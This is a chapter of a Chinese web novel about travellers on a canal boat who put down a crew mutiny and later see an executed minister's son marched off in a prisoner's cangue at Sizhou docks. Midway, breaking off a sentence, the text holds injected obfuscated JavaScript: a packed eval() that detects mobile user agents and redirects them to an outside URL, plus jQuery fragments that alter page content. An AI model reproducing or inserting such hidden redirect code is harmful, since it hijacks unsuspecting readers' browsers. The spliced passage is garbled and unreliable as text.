“你们做什么!”
夜深人静,原只有江水与船体碰撞的吱呀声,贺元棠脑中挥之不去的是白日隔壁大胡子恼人的呼噜,今夜却出奇的安静。
她和衣枕着手臂,侧躺在榻上,门外那道影子久久停在原地,让人莫名的安心。
不知为何,心中总是有些不安,算完订单的数量和原先估计的春蟹产量,她将几叠纸小心收好夹入衣袋中,冷月无声照在榻沿,自己还没有困意。
那声不太清晰的吼叫打破了夜的宁静。
贺元棠取了昔日月石姑娘给的袖箭戴上,小心摸到门边。
“待在这儿别动。”门外的身影动了动,对着她说道。
“发生什么事了?”她低声问道,忽地记起舅舅曾经说长卿的听觉很好,他会听到一些什么吗?
舱外的响动愈演愈烈,从器皿破碎到压抑怒吼,再到打斗。在寂静的夜里显得格外刺耳。
“小心舷窗,无论如何不要出来。”他隔着门沉声回应,这次的打斗并非冲二人而来,应该是船上的其他人遇到了麻烦。
长卿迅速将门抵上,如落叶般悄无声息地掠至窗外。
船老大声音有些疲惫,挡在被打得鼻青脸肿的大胡子前方:“再……兄弟们,再撑一段!到了宿州码头,结了运费,大家还能有条活路!现在抢了客人跑路,咱们这辈子就真是水匪了!”
“活路?头儿你醒醒吧!那方家都要下大狱了,咱们整条船队都要被扣上‘走私’的帽子,等到了泗州,等着咱们的就是官府的人!”
另一位船员声音狠戾地道:“这船上的几位可都是非富即贵,干完这一票,大家分了钱财各自逃命,好歹能活下去!我家里还有妻儿老母!”
京城开始行动了?消息竟然传得这样快。
长卿掩在窗后,听着船员的争吵,潜回船舱对贺元棠道:“是哗变,你拿上这个,躲好。”他抽出腰间匕首交与贺元棠,又飞快的来到甲板上。
在船员惊骇的目光中,长卿一招制住为首闹事的船员,声音冰冷:“想活命,想保住你们的名声,就立即回到岗位,平安抵达泗州。”
大胡子虽然面上挂彩,眼中却无太多惧色,他打量着突然出现的蓝衣少年,立刻明白了局势,大喊道:
“船老大,这位好汉说得在理!你们若是现在跑,那只能做水匪。保我们平安到泗州,若船队被封,你们照样可以跟着我岳不换干。”
“这……”几位船员面面相觑,有些动摇。
一人喊道:“我们凭什么相信你!”
长卿抽身腕剑,倏地指在那人颈间,道:“你可以不信。”
那人立即哑了言,小幅度地点着头:“我信,我信。”
“老实点,回去开船。”
收剑入鞘,闹剧暂时告一段落,却无人再入眠。
长卿与大胡子心照不宣地交换了一个眼神,抽身回舱。
船老大惊魂未定地坐在甲板上,抹了把脸:“我们只是运货的,哪里知道上头的事……”
“哪次上面斗法,死的不是我们这些讨生活的鱼虾。”大胡子摸了瓶药往嘴里塞了一颗,又倒在手心里,给船老大。“手底下的弟兄们是真狠得下来,把你也打成这样。”
大胡子说完,咯咯笑起来。
“是啊,都是讨生活的孩子们,都不容易。”
长卿与贺元棠提着一小个药箱来到甲板,她看了看大胡子和船老大的伤势,熟练地掏出几种药粉搅拌在一起,递给二人。
“小兄台是学医的?这样专业。”
月色映照下,眼前人的肌肤更为白皙,手指纤细,但有些薄茧伤痕。若是单看相貌,岳不换断定这该是位闺阁小姐,但这双手又是常常干活的。
长卿先出言道:“家中小弟,学过一些医术。”
岳不换点点头,并未拆穿,“今晚多谢二位相助。”
船老大也跟着拜谢,长卿摆摆手,“他胆子小,今晚可能也吓着了,我便先带他回去休息。”
提上药箱,贺元棠与长卿一前一后地回了船舱。
“怎么会突然发生这样的事?我们离京时不都还好好的吗。”
长卿摇摇头,“我也不太清楚,不过京城往返江南的船只大部分由方家管控,也许是方家出了什么事。”
“方家……他们不是靠着陆大人么?若只是普通的风吹草动,何以闹出这样大的动静?”心中的不安感愈来愈强,贺元棠也无心睡了,靠着舱板坐到天明。
翌日一早,岳不换提着一箱上好的药材,敲开了长卿的门。二人刚简单用完早膳,桌上未来得及收拾。
他的目光在二人身上一转,笑着对拱手:“在下岳不换,碰巧做些草药生意,昨夜若非阁下,岳某这身家性命怕是都要交待了。这些药材不成敬意,还请收下。”
“不必了岳大哥,我们这也不单是在保护您嘛。”
长卿默默收着桌面,并不接话。
岳不换笑着看向贺元棠,又瞥了一眼长卿,状似无意地问:“我瞧二位气度不凡,不知南下是来探亲还是……?鄙人对这江南还算熟悉,若是有用得上的地方,尽管开口。”
贺元棠笑着接过药材,道:“同舟数日,又都与药材打交道,我和兄长也算与岳大哥有缘。”
岳不换拱手告别,转身走出几步,又仿佛突然想起什么,回头对长卿意味深长地道:“二位真是令人羡慕,江湖路远,多加小心。”
岳不换提着行囊,头也不回地走了。
泗州码头人头攒动,似乎比沿途的渡口更为嘈杂。
官差细细盘查着靠岸船只与人员,高高低低的人群外,有一队人马很是显眼。
队首的人戴着沉重的木枷,低着脑袋,头发有些杂乱,囚服肮脏,沾着码头的风沙泥土。他被凶神恶煞的差役推搡着,艰难前行。
阿贵远远看着二人下船,等在官差盘查的队伍尽头,拉着二人低声道:“是小陆公子。”
贺元棠迅速回头看了眼长卿,他没有看自己,只是喉结滚动了一下。
她拉着长卿的胳膊问道:“到底发生什么事了?你们到底还知道什么?”
几日前,一朝重臣,清流之首三司使陆氏在家中自缢,留下手书谢罪表一份,详细交代了自己经年累月贪墨的朝廷赋税军饷各类。
上言其之罪万死难辞,然所贪银两皆记录在册,修缮运河所得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815444|190852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亦是分文未动,祈求将之充归国库,稍减其万罪之一。
后言其死非畏国法森严,别无他求,唯愿其皇保重龙体。
与之一同呈入盛帝案头的,还有一份阴阳账册,阳记工程税赋收支,阴载巨额银两经多个商号流入细则。
盛帝震怒,处陆家全族流放,或充军或为奴。
不少商号先后倒台,方家亦在其列。
“陆少,再尝尝这些珍馐吧,以后可就吃不上咯。”
一个布衣打扮的人将半盆搜掉的饭菜泼在他身上,嘲讽道。
“当初不是眼高于顶么?怎么,你爹的官帽不好使了?”
贺元棠只觉气血上涌,几乎是要冲出去,被长卿一把拽住手腕,低声警告:“对方是官差,莫要冲动。”
他从包袱中掏出一样东西,不动声色地接近官差首领,塞到对方手中。
“天凉了,请差爷和弟兄们喝碗热茶。也行个方便,给陆公子一口干净的水喝。”
官差掂量掂量手中的物件,面色稍霁。
贺元棠立即拿了水上前,掏出干净的帕子,擦去了那张俊秀脸上的污秽。
“居然还能见到你。”那人笑起来,“答应我的事忘记没?”
贺元棠瞪了他一眼,悄悄往他衣里塞了一个小瓶,“止疼的,若是实在扛不住了就吃一颗。”
陆伯之挑眉:“哟,这么关心我,那小子吃味怎么办?”
“长卿给你的。”她顺手捋了捋他的头发,“我听说这路上滋味可不好受,你从小锦衣玉食,不会哭吧。”
陆伯之耸耸肩:“我尽量。”
不远处的官差咳了两声,示意队伍该走了。
陆伯之低声道:“有很多人盯着方家这块肉,你们若是沿运河南下,务必小心。”
贺元棠点点头,看着他的眼睛一字一句地说:“好好活着。”
“什么?”陆伯之眨了眨眼,将脑袋埋低了一些。
“我说,小将军比你高。”
他垂眸笑了,迈着沉重的步子,与押解的官差消失在了人群尽头。
贺元棠神色复杂地看着长卿,冷冷道:“所以这一路你都知道会发生什么,但你仍然选择不告诉我。”
“我……”目送着远去的队伍,长卿握了握拳。
“这也是殿下的意思,对么?这次也是为我好,对么?”
“不是的,不是。”
贺元棠叹了一声,看着他的眼睛:“长卿,我原以为,至少你不会骗我。如果他派你来跟着我,还是因为不信任,那这条路,我可以自己走。”
阿贵在一旁劝道:“小棠,最近江南这带可能有些乱,长卿哥身手好,有他在还是安心一些,咱们还答应苏娘子办完事赶回去过年呢。”
“你不是满庭芳的人么,也跟着胳膊肘往外拐?”
阿贵撇撇嘴,低下头去。
“小棠,就让我跟着你们一起吧,你让我做什么我就做什么,你想知道什么我就告诉你什么,让我跟着吧好不好?我也很担心你们。”
贺元棠眼珠转了转,“当真?”
“当真,千真万确,我发誓。”
“行吧。”